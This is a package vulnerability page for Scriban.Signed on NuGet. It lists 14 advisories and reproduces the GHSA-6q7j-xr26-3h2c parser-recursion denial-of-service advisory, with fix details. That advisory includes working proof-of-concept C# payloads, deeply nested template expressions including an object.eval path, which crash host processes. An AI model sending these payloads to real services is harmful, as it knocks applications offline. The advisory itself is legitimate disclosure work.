Vulnerabilities in pkg:nuget/Scriban.Signed

PACKAGE
Advisory Summary

GHSA-6q7j-xr26-3h2c is a MODERATE denial of service vulnerability (CWE-674: Uncontrolled Recursion) affecting Scriban libraries in the NuGet ecosystem. The issue involves expressiondepthlimit guard is non-enforcing — parser-recursion dos in 6.6.0–7.2.0 (incomplete fix for ghsa-wgh7-7m3c-fx25 / ghsa-p6q4-fgr8-vx4p). Remediation is available by upgrading affected packages to version 7.2.1.

14 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:nuget/Scriban.Signed

14 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:nuget/Scriban.Signed. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-6q7j-xr26-3h2c - MODERATE Scriban: ExpressionDepthLimit guard is non-enforcing — parser-recursion DoS in 6.6.0–7.2.0 (incomplete fix for GHSA-wgh7-7m3c-fx25 / GHSA-p6q4-fgr8-vx4p)
GHSA-xw6w-9jjh-p9cr - MODERATE Scriban has Multiple Denial-of-Service Vectors via Unbounded Resource Consumption During Expression Evaluation
GHSA-m2p3-hwv5-xpqw - MODERATE Scriban: Denial of Service via Unbounded Cumulative Template Output Bypassing LimitToString
GHSA-xcx6-vp38-8hr5 - HIGH Scriban has Uncontrolled Recursion in `object.to_json` Causing Unrecoverable Process Crash via StackOverflowException
GHSA-v66j-x4hw-fv9g - HIGH Scriban: Uncontrolled Memory Allocation via string.pad_left/pad_right Allows Remote Denial of Service
GHSA-5wr9-m6jw-xx44 - CRITICAL Scriban: Sandbox escape due to TypedObjectAccessorcache bypassing MemberFilter after TemplateContext reuse
GHSA-x6m9-38vm-2xhf - HIGH Scriban has an authorization bypass due to stale include cache surviving TemplateContext.Reset()
GHSA-p6q4-fgr8-vx4p - HIGH Scriban has a Stack Overflow via Nested Array Initializers That Bypass the ExpressionDepthLimit Fix
GHSA-5rpf-x9jg-8j5p - MODERATE Scriban Affected by Memory Exhaustion (OOM) via Unbounded String Generation (Denial of Service)
GHSA-grr9-747v-xvcp - HIGH Scriban has an Infinite Recursion during Object Rendering Leads to Stack Overflow and Process Crash (Denial of Service)
GHSA-wgh7-7m3c-fx25 - HIGH Scriban has Uncontrolled Recursion in Parser Leads to Stack Overflow and Process Crash (Denial of Service)
GHSA-q6rr-fm2g-g5x8 - MODERATE Scriban: array * int (ScriptArray<T>.TryEvaluate) bypasses LoopLimit — incomplete fix for GHSA-c875-h985-hvrc, missed sibling of GHSA-24c8-4792-22hx
GHSA-c875-h985-hvrc - HIGH Scriban: Built-in operations bypass LoopLimit and delay cancellation, enabling Denial of Service
GHSA-24c8-4792-22hx - HIGH Scriban: array.insert_at index parameter DoS bypasses LoopLimit and LimitToString

GHSA-6q7j-xr26-3h2c at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-6q7j-xr26-3h2c
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-674: Uncontrolled Recursion
Affected Product Scriban
Package Ecosystem NuGet
Published Date
Last Updated

How to Fix GHSA-6q7j-xr26-3h2c

To remediate this vulnerability, upgrade all affected Scriban dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

Scriban fixed: 7.2.1
Upgrade Scriban to 7.2.1
Scriban.Signed fixed: 7.2.1
Upgrade Scriban.Signed to 7.2.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for Scriban

How to Check if You Are Affected

To determine whether your application is affected by GHSA-6q7j-xr26-3h2c, inspect your project dependencies for Scriban:

inspect dependencies for Scriban

Analyze the terminal output to locate any version of Scriban in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.2.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-674: Uncontrolled Recursion, where the product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack. In Scriban, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `ExpressionDepthLimit` parser guard in Scriban does not actually stop parsing — it only logs a non-fatal error and lets recursive descent continue. As a result, a template containing a deeply nested expression (parentheses, array initializers, object initializers, or unary operators) drives the recursive-descent parser into a native stack overflow. The resulting `StackOverflowException` is **uncatchable** in .NET and **immediately terminates the host process**. Any application that parses an attacker-influenced template — or that passes attacker-controlled strings to `object.eval` / `object.eval_template` — can be crashed by a single small request (roughly an 8 KB payload). This is a denial-of-service. It affects both Scriban-native (`Template.Parse`) and Liquid (`Template.ParseLiquid`) syntax modes, which share the same expression parser. This re-opens two advisories that were reported as fixed: **GHSA-wgh7-7m3c-fx25** ("Uncontrolled recursion in parser → StackOverflow", reported fixed in 6.6.0) and **GHSA-p6q4-fgr8-vx4p** ("StackOverflow via nested array initializers bypasses ExpressionDepthLimit", reported fixed in 7.0.0). Both fixes are incomplete: the limit they rely on never halts recursion. **All releases 6.6.0 through 7.2.0 (current) are affected.** ### Details The depth guard is `EnterExpression()` in `src/Scriban/Parsing/Parser.Expressions.cs`: ```csharp // src/Scriban/Parsing/Parser.Expressions.cs:1209-1218 private void EnterExpression() { _expressionDepth++; var limit = Options.ExpressionDepthLimit; if (limit > 0 && !_isExpressionDepthLimitReached && _expressionDepth > limit) { LogError(GetSpanForToken(Previous), $"The statement depth limit `{limit}` was reached when parsing this statement"); _isExpressionDepthLimitReached = true; } } ``` When the limit is exceeded it calls `LogError(...)` and sets a flag. It does **not** throw, does **not** return a sentinel, and does **not** unwind the parse. `LogError` here uses the default `isFatal: false`, so it merely appends a message and sets `HasErrors` — parsing proceeds: ```csharp // src/Scriban/Parsing/Parser.cs:476-488 private void Log(LogMessage logMessage, bool isFatal = false) { Messages.Add(logMessage); if (logMessage.Type == ParserMessageType.Error) { HasErrors = true; if (isFatal) _hasFatalError = true; // not set on the depth-limit path } } ``` The flag `_isExpressionDepthLimitReached` is consulted **only** to avoid logging the same error more than once — no code path uses it to stop descending. Confirmed by full-repo search (`grep -rn "_isExpressionDepthLimitReached" src/`): it appears in exactly four places — the field declaration (`Parser.cs:40`), a reset to `false` (`Parser.cs:106`), and within `EnterExpression` the dedup test (`Parser.Expressions.cs:1213`) and its assignment to `true` (`:1216`). The only *read* is the dedup test on line 1213; nothing else reads it. `ParseExpression` calls `EnterExpression()` and then continues straight into the token switch with no flag check: ```csharp // src/Scriban/Parsing/Parser.Expressions.cs:113 + 181-182 EnterExpression(); try { ... case TokenType.OpenParen: leftOperand = ParseParenthesis(); // recurses back into ParseExpression ``` ```csharp // src/Scriban/Parsing/Parser.Expressions.cs:984-1001 private ScriptExpression ParseParenthesis() { var expression = Open<ScriptNestedExpression>(); ExpectAndParseTokenTo(expression.OpenParen, TokenType.OpenParen); expression.Expression = ExpectAndParseExpression(expression); // -> ParseExpression -> ParseParenthesis -> ... ... } ``` Both `Template.Parse` (Scriban-native) and `Template.ParseLiquid` (Liquid-compatibility) front-ends share this same expression parser, so both entry points are affected. So for input nested N levels deep, the parser recurses N levels deep regardless of `ExpressionDepthLimit`. There is no `RuntimeHelpers.EnsureSufficientExecutionStack()` call and no absolute recursion cap anywhere in the parser. Once the native thread stack is exhausted, the runtime raises `StackOverflowException`, which .NET does not allow to be caught and which tears down the entire process. The number of nesting levels required to overflow depends on the platform's thread-stack size (empirically around 4,000 levels on a default 1 MB stack); it is not a configurable mitigation. The same defective guard is what makes the array-initializer fix for GHSA-p6q4-fgr8-vx4p ineffective: `ParseArrayInitializer` was wrapped in `EnterExpression()/LeaveExpression()`, but because `EnterExpression()` only logs, the array path still overflows. The existing regression tests only assert `HasErrors == true` at a nesting depth of ~20 with a limit of 10 (`src/Scriban.Tests/TestParser.cs`); they never use a depth large enough to overflow the stack, so they pass while the protection does nothing against the actual DoS. **Runtime reachability without template injection:** `object.eval` / `object.eval_template` (`src/Scriban/Functions/ObjectFunctions.cs:72-155`) re-parse a string argument at render time using `Template.Parse(...)`. An application whose own templates are fully trusted is still vulnerable if any user-controlled value flows into `object.eval`. The `catch (Exception)` inside `Eval` cannot intercept the `StackOverflowException`. ### PoC A single console project reproduces it on the released NuGet package. `poc.csproj`: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. --> </PropertyGroup> <ItemGroup> <PackageReference Include="Scriban" Version="7.2.0" /> </ItemGroup> </Project> ``` `Program.cs`: ```csharp using Scriban; int n = 8000; // ~8 KB template; 8000 reliably overflows a default 1 MB thread stack string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}"; System.Console.WriteLine($"Parsing template with {n} nested parentheses (default ParserOptions)..."); Template.Parse(tpl); // <-- process is killed here System.Console.WriteLine("Parse returned without crashing"); // never reached ``` Run: ```sh dotnet run -c Release ``` Observed output (process aborts; shell exit code 134 = SIGABRT): ``` Parsing template with 8000 nested parentheses (default ParserOptions)... Stack overflow. at Scriban.Parsing.Parser.ParseParenthesis() at Scriban.Parsing.Parser.ParseExpression(...) at Scriban.Parsing.Parser.ExpectAndParseExpression(...) at Scriban.Parsing.Parser.ParseParenthesis() ... (repeats until the stack is exhausted) ``` Additional confirmations (same crash / exit 134), substituting the template body in `Program.cs`: The explicit limit is ignored — still crashes: ```csharp Template.Parse(tpl, parserOptions: new ParserOptions { ExpressionDepthLimit = 10 }); ``` Array initializers (the GHSA-p6q4 path): ```csharp string tpl = "{{ " + new string('[', n) + "1" + new string(']', n) + " }}"; Template.Parse(tpl); // crashes identically ``` Object initializers `{x:{x:...{x:1}...}}`: ```csharp var b = new System.Text.StringBuilder(); for (int i = 0; i < n; i++) b.Append("{x:"); b.Append('1'); b.Append('}', n); Template.Parse("{{ " + b + " }}"); // crashes identically ``` Unary operators: ```csharp string tpl = "{{ " + new string('!', n) + "true" + " }}"; Template.Parse(tpl); // crashes identically ``` Liquid syntax mode (shares the same expression parser): ```csharp string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}"; Template.ParseLiquid(tpl); // crashes identically ``` Runtime via `object.eval`, with a fully trusted outer template — verified end-to-end: the outer parse reports `HasErrors == false`, then `Render()` crashes the process and the surrounding `try/catch` never fires (the `StackOverflowException` is uncatchable): ```csharp using Scriban; int n = 8000; string deep = new string('(', n) + "1" + new string(')', n); string outer = "{{ \"" + deep + "\" | object.eval }}"; System.Console.WriteLine($"Outer template length = {outer.Length} chars."); var t = Template.Parse(outer); System.Console.WriteLine($"Outer parsed. HasErrors = {t.HasErrors}"); System.Console.WriteLine("Rendering (object.eval re-parses the inner string at runtime)..."); try { t.Render(); System.Console.WriteLine("Render returned without crashing"); } catch (System.Exception e) { System.Console.WriteLine($"Caught {e.GetType().Name} (note: StackOverflowException cannot be caught)"); } ``` Verified against clean NuGet installs of Scriban **6.6.0, 7.0.0, 7.1.0, and 7.2.0** (net8.0, .NET 9 runtime, Linux). A control template with depth 200 parses normally (`HasErrors == false`, no crash). ### Impact - **Type:** Denial of service via uncontrolled recursion (CWE-674) leading to an uncatchable `StackOverflowException` and full process termination. - **Severity:** CVSS 3.1 `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` = **7.5 (High)** — the same vector and score as both prior advisories it re-opens (GHSA-wgh7-7m3c-fx25 and GHSA-p6q4-fgr8-vx4p, each scored 7.5 High with the identical `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` vector). The score reflects the library boundary, where no privileges are required to parse a template; the privilege actually needed in a given deployment depends on how that application exposes template input. - **Who is impacted:** Any application that calls `Template.Parse` / `Template.ParseLiquid` (or `Template.Render` on an unparsed source) on template text that is wholly or partially attacker-controlled — the documented server-side template scenario — and any application that passes attacker-controlled strings to `object.eval` / `object.eval_template`, even when its own templates are trusted. - **Why the existing mitigation does not help:** `ExpressionDepthLimit` (default 250) is advisory only; it records a parse error but does not stop recursion, so it cannot prevent the stack overflow. Because the exception is a `StackOverflowException`, callers cannot defend with `try/catch` either — the process is lost. - **Affected versions:** 6.6.0 – 7.2.0 (all versions shipping the depth-limit guard). Versions before 6.6.0 are vulnerable to the original unbounded-recursion condition. **Suggested remediation:** make the limit actually stop descent — e.g. throw a parse exception from `EnterExpression()` when the limit is exceeded (or log with `isFatal: true` and have the parse loop honor `_hasFatalError` by unwinding). As defense in depth, call `RuntimeHelpers.EnsureSufficientExecutionStack()` at the entry of `ParseExpression` (the same technique already used in `object.to_json`), and add a regression test at a depth that overflows without the fix (e.g. 100,000), asserting a graceful exception rather than only checking `HasErrors` at depth 20.

GHSA-6q7j-xr26-3h2c Affected Scriban Versions

2 component(s)
Fixed Versions:
7.2.1
Product / Package Ecosystem Affected Versions Fixed Version
Scriban
NuGet
≥ 6.6.0
< 7.2.1
7.2.1
Scriban.Signed
NuGet
≥ 6.6.0
< 7.2.1
7.2.1

References

Frequently Asked Questions

What is GHSA-6q7j-xr26-3h2c?
GHSA-6q7j-xr26-3h2c is a security vulnerability in Scriban involving ExpressionDepthLimit guard is non-enforcing — parser-recursion DoS in 6.6.0–7.2.0 (incomplete fix for GHSA-wgh7-7m3c-fx25 / GHSA-p6q4-fgr8-vx4p) under CWE-674: Uncontrolled Recursion.
Which Scriban versions are affected?
Affected versions include releases prior to 7.2.1 across affected packages: Scriban, Scriban.Signed.
What version fixes GHSA-6q7j-xr26-3h2c?
Upgrading to 7.2.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is Scriban affected?
Yes, Scriban is affected in releases prior to 7.2.1. Upgrade your dependency to 7.2.1 or later.
Is Scriban.Signed affected?
Yes, Scriban.Signed is affected in releases prior to 7.2.1. Upgrade your dependency to 7.2.1 or later.
What CWE is associated with GHSA-6q7j-xr26-3h2c?
GHSA-6q7j-xr26-3h2c is classified under CWE-674: Uncontrolled Recursion (The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.).
How can I check NuGet dependencies for GHSA-6q7j-xr26-3h2c?
Run the dependency tree command: 'inspect dependencies for Scriban'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6q7j-xr26-3h2c",
  "modified" : "2026-07-06T13:10:56Z",
  "published" : "2026-06-26T21:02:14Z",
  "aliases" : [ ],
  "summary" : "Scriban: ExpressionDepthLimit guard is non-enforcing — parser-recursion DoS in 6.6.0–7.2.0 (incomplete fix for GHSA-wgh7-7m3c-fx25 / GHSA-p6q4-fgr8-vx4p)",
  "details" : "### Summary\n\nThe `ExpressionDepthLimit` parser guard in Scriban does not actually stop parsing — it only logs a non-fatal error and lets recursive descent continue. As a result, a template containing a deeply nested expression (parentheses, array initializers, object initializers, or unary operators) drives the recursive-descent parser into a native stack overflow. The resulting `StackOverflowException` is **uncatchable** in .NET and **immediately terminates the host process**.\n\nAny application that parses an attacker-influenced template — or that passes attacker-controlled strings to `object.eval` / `object.eval_template` — can be crashed by a single small request (roughly an 8 KB payload). This is a denial-of-service. It affects both Scriban-native (`Template.Parse`) and Liquid (`Template.ParseLiquid`) syntax modes, which share the same expression parser.\n\nThis re-opens two advisories that were reported as fixed: **GHSA-wgh7-7m3c-fx25** (\"Uncontrolled recursion in parser → StackOverflow\", reported fixed in 6.6.0) and **GHSA-p6q4-fgr8-vx4p** (\"StackOverflow via nested array initializers bypasses ExpressionDepthLimit\", reported fixed in 7.0.0). Both fixes are incomplete: the limit they rely on never halts recursion. **All releases 6.6.0 through 7.2.0 (current) are affected.**\n\n### Details\n\nThe depth guard is `EnterExpression()` in `src/Scriban/Parsing/Parser.Expressions.cs`:\n\n```csharp\n// src/Scriban/Parsing/Parser.Expressions.cs:1209-1218\nprivate void EnterExpression()\n{\n    _expressionDepth++;\n    var limit = Options.ExpressionDepthLimit;\n    if (limit > 0 && !_isExpressionDepthLimitReached && _expressionDepth > limit)\n    {\n        LogError(GetSpanForToken(Previous), $\"The statement depth limit `{limit}` was reached when parsing this statement\");\n        _isExpressionDepthLimitReached = true;\n    }\n}\n```\n\nWhen the limit is exceeded it calls `LogError(...)` and sets a flag. It does **not** throw, does **not** return a sentinel, and does **not** unwind the parse. `LogError` here uses the default `isFatal: false`, so it merely appends a message and sets `HasErrors` — parsing proceeds:\n\n```csharp\n// src/Scriban/Parsing/Parser.cs:476-488\nprivate void Log(LogMessage logMessage, bool isFatal = false)\n{\n    Messages.Add(logMessage);\n    if (logMessage.Type == ParserMessageType.Error)\n    {\n        HasErrors = true;\n        if (isFatal) _hasFatalError = true;   // not set on the depth-limit path\n    }\n}\n```\n\nThe flag `_isExpressionDepthLimitReached` is consulted **only** to avoid logging the same error more than once — no code path uses it to stop descending. Confirmed by full-repo search (`grep -rn \"_isExpressionDepthLimitReached\" src/`): it appears in exactly four places — the field declaration (`Parser.cs:40`), a reset to `false` (`Parser.cs:106`), and within `EnterExpression` the dedup test (`Parser.Expressions.cs:1213`) and its assignment to `true` (`:1216`). The only *read* is the dedup test on line 1213; nothing else reads it. `ParseExpression` calls `EnterExpression()` and then continues straight into the token switch with no flag check:\n\n```csharp\n// src/Scriban/Parsing/Parser.Expressions.cs:113 + 181-182\nEnterExpression();\ntry\n{\n    ...\n    case TokenType.OpenParen:\n        leftOperand = ParseParenthesis();   // recurses back into ParseExpression\n```\n\n```csharp\n// src/Scriban/Parsing/Parser.Expressions.cs:984-1001\nprivate ScriptExpression ParseParenthesis()\n{\n    var expression = Open<ScriptNestedExpression>();\n    ExpectAndParseTokenTo(expression.OpenParen, TokenType.OpenParen);\n    expression.Expression = ExpectAndParseExpression(expression);  // -> ParseExpression -> ParseParenthesis -> ...\n    ...\n}\n```\n\nBoth `Template.Parse` (Scriban-native) and `Template.ParseLiquid` (Liquid-compatibility) front-ends share this same expression parser, so both entry points are affected.\n\nSo for input nested N levels deep, the parser recurses N levels deep regardless of `ExpressionDepthLimit`. There is no `RuntimeHelpers.EnsureSufficientExecutionStack()` call and no absolute recursion cap anywhere in the parser. Once the native thread stack is exhausted, the runtime raises `StackOverflowException`, which .NET does not allow to be caught and which tears down the entire process. The number of nesting levels required to overflow depends on the platform's thread-stack size (empirically around 4,000 levels on a default 1 MB stack); it is not a configurable mitigation.\n\nThe same defective guard is what makes the array-initializer fix for GHSA-p6q4-fgr8-vx4p ineffective: `ParseArrayInitializer` was wrapped in `EnterExpression()/LeaveExpression()`, but because `EnterExpression()` only logs, the array path still overflows.\n\nThe existing regression tests only assert `HasErrors == true` at a nesting depth of ~20 with a limit of 10 (`src/Scriban.Tests/TestParser.cs`); they never use a depth large enough to overflow the stack, so they pass while the protection does nothing against the actual DoS.\n\n**Runtime reachability without template injection:** `object.eval` / `object.eval_template` (`src/Scriban/Functions/ObjectFunctions.cs:72-155`) re-parse a string argument at render time using `Template.Parse(...)`. An application whose own templates are fully trusted is still vulnerable if any user-controlled value flows into `object.eval`. The `catch (Exception)` inside `Eval` cannot intercept the `StackOverflowException`.\n\n### PoC\n\nA single console project reproduces it on the released NuGet package.\n\n`poc.csproj`:\n```xml\n<Project Sdk=\"Microsoft.NET.Sdk\">\n  <PropertyGroup>\n    <OutputType>Exe</OutputType>\n    <TargetFramework>net8.0</TargetFramework>\n    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->\n  </PropertyGroup>\n  <ItemGroup>\n    <PackageReference Include=\"Scriban\" Version=\"7.2.0\" />\n  </ItemGroup>\n</Project>\n```\n\n`Program.cs`:\n```csharp\nusing Scriban;\n\nint n = 8000; // ~8 KB template; 8000 reliably overflows a default 1 MB thread stack\nstring tpl = \"{{ \" + new string('(', n) + \"1\" + new string(')', n) + \" }}\";\n\nSystem.Console.WriteLine($\"Parsing template with {n} nested parentheses (default ParserOptions)...\");\nTemplate.Parse(tpl);                 // <-- process is killed here\nSystem.Console.WriteLine(\"Parse returned without crashing\"); // never reached\n```\n\nRun:\n```sh\ndotnet run -c Release\n```\n\nObserved output (process aborts; shell exit code 134 = SIGABRT):\n```\nParsing template with 8000 nested parentheses (default ParserOptions)...\nStack overflow.\n   at Scriban.Parsing.Parser.ParseParenthesis()\n   at Scriban.Parsing.Parser.ParseExpression(...)\n   at Scriban.Parsing.Parser.ExpectAndParseExpression(...)\n   at Scriban.Parsing.Parser.ParseParenthesis()\n   ... (repeats until the stack is exhausted)\n```\n\nAdditional confirmations (same crash / exit 134), substituting the template body in `Program.cs`:\n\nThe explicit limit is ignored — still crashes:\n```csharp\nTemplate.Parse(tpl, parserOptions: new ParserOptions { ExpressionDepthLimit = 10 });\n```\n\nArray initializers (the GHSA-p6q4 path):\n```csharp\nstring tpl = \"{{ \" + new string('[', n) + \"1\" + new string(']', n) + \" }}\";\nTemplate.Parse(tpl);  // crashes identically\n```\n\nObject initializers `{x:{x:...{x:1}...}}`:\n```csharp\nvar b = new System.Text.StringBuilder();\nfor (int i = 0; i < n; i++) b.Append(\"{x:\");\nb.Append('1');\nb.Append('}', n);\nTemplate.Parse(\"{{ \" + b + \" }}\");  // crashes identically\n```\n\nUnary operators:\n```csharp\nstring tpl = \"{{ \" + new string('!', n) + \"true\" + \" }}\";\nTemplate.Parse(tpl);  // crashes identically\n```\n\nLiquid syntax mode (shares the same expression parser):\n```csharp\nstring tpl = \"{{ \" + new string('(', n) + \"1\" + new string(')', n) + \" }}\";\nTemplate.ParseLiquid(tpl);  // crashes identically\n```\n\nRuntime via `object.eval`, with a fully trusted outer template — verified end-to-end: the outer parse reports `HasErrors == false`, then `Render()` crashes the process and the surrounding `try/catch` never fires (the `StackOverflowException` is uncatchable):\n```csharp\nusing Scriban;\n\nint n = 8000;\nstring deep = new string('(', n) + \"1\" + new string(')', n);\nstring outer = \"{{ \\\"\" + deep + \"\\\" | object.eval }}\";\n\nSystem.Console.WriteLine($\"Outer template length = {outer.Length} chars.\");\nvar t = Template.Parse(outer);\nSystem.Console.WriteLine($\"Outer parsed. HasErrors = {t.HasErrors}\");\nSystem.Console.WriteLine(\"Rendering (object.eval re-parses the inner string at runtime)...\");\ntry\n{\n    t.Render();\n    System.Console.WriteLine(\"Render returned without crashing\");\n}\ncatch (System.Exception e)\n{\n    System.Console.WriteLine($\"Caught {e.GetType().Name} (note: StackOverflowException cannot be caught)\");\n}\n```\n\nVerified against clean NuGet installs of Scriban **6.6.0, 7.0.0, 7.1.0, and 7.2.0** (net8.0, .NET 9 runtime, Linux). A control template with depth 200 parses normally (`HasErrors == false`, no crash).\n\n### Impact\n\n- **Type:** Denial of service via uncontrolled recursion (CWE-674) leading to an uncatchable `StackOverflowException` and full process termination.\n- **Severity:** CVSS 3.1 `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` = **7.5 (High)** — the same vector and score as both prior advisories it re-opens (GHSA-wgh7-7m3c-fx25 and GHSA-p6q4-fgr8-vx4p, each scored 7.5 High with the identical `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` vector). The score reflects the library boundary, where no privileges are required to parse a template; the privilege actually needed in a given deployment depends on how that application exposes template input.\n- **Who is impacted:** Any application that calls `Template.Parse` / `Template.ParseLiquid` (or `Template.Render` on an unparsed source) on template text that is wholly or partially attacker-controlled — the documented server-side template scenario — and any application that passes attacker-controlled strings to `object.eval` / `object.eval_template`, even when its own templates are trusted.\n- **Why the existing mitigation does not help:** `ExpressionDepthLimit` (default 250) is advisory only; it records a parse error but does not stop recursion, so it cannot prevent the stack overflow. Because the exception is a `StackOverflowException`, callers cannot defend with `try/catch` either — the process is lost.\n- **Affected versions:** 6.6.0 – 7.2.0 (all versions shipping the depth-limit guard). Versions before 6.6.0 are vulnerable to the original unbounded-recursion condition.\n\n**Suggested remediation:** make the limit actually stop descent — e.g. throw a parse exception from `EnterExpression()` when the limit is exceeded (or log with `isFatal: true` and have the parse loop honor `_hasFatalError` by unwinding). As defense in depth, call `RuntimeHelpers.EnsureSufficientExecutionStack()` at the entry of `ParseExpression` (the same technique already used in `object.to_json`), and add a regression test at a depth that overflows without the fix (e.g. 100,000), asserting a graceful exception rather than only checking `HasErrors` at depth 20.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "NuGet",
      "name" : "Scriban"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "6.6.0"
      }, {
        "fixed" : "7.2.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 7.2.0"
    }
  }, {
    "package" : {
      "ecosystem" : "NuGet",
      "name" : "Scriban.Signed"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "6.6.0"
      }, {
        "fixed" : "7.2.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 7.2.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/scriban/scriban/security/advisories/GHSA-6q7j-xr26-3h2c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/scriban/scriban"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-674" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T21:02:14Z",
    "nvd_published_at" : null
  }
}